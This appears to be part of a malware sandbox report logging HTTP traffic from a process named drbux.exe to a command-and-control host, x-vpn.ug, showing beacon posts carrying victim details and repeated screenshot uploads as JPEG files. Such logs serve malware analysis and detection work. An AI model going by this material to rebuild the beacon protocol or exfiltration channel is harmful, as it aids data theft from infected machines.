Jul 19, 2021 18:36:06.894397020 CEST	13357	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:36:07.193653107 CEST	13420	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.6	49867	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:06.793800116 CEST	13321	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:06.890180111 CEST	13334	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.6	49868	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:07.079948902 CEST	13411	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:07.163552999 CEST	13419	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:07 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.6	49869	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:07.376141071 CEST	13421	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:07.474054098 CEST	13421	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:07 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.6	49870	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:07.515362024 CEST	13422	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:07.515496969 CEST	13422	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:07.515733957 CEST	13432	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:07.515851021 CEST	13435	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:07.609137058 CEST	13435	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:07 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:07.609757900 CEST	13438	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:07.610137939 CEST	13444	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:07.610481977 CEST	13446	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:07.610845089 CEST	13449	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:07.610873938 CEST	13452	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:07.611661911 CEST	13456	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:07.612263918 CEST	13461	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.6	49871	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:07.687335968 CEST	13462	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:07.800462008 CEST	13512	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.6	49872	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:08.248559952 CEST	13521	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:08.347788095 CEST	13535	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:08 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.6	49873	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:08.340769053 CEST	13521	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:08.340791941 CEST	13522	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:08.341042042 CEST	13532	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:08.341070890 CEST	13534	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:08.424372911 CEST	13535	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:08 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:08.425201893 CEST	13538	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:08.425334930 CEST	13541	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:08.425471067 CEST	13544	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:08.425564051 CEST	13546	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:08.425693035 CEST	13549	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:08.425796986 CEST	13552	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:08.426774979 CEST	13559	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.6	49749	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:27.570473909 CEST	2279	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:27.570661068 CEST	2279	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:27.570944071 CEST	2289	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:27.571171999 CEST	2292	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
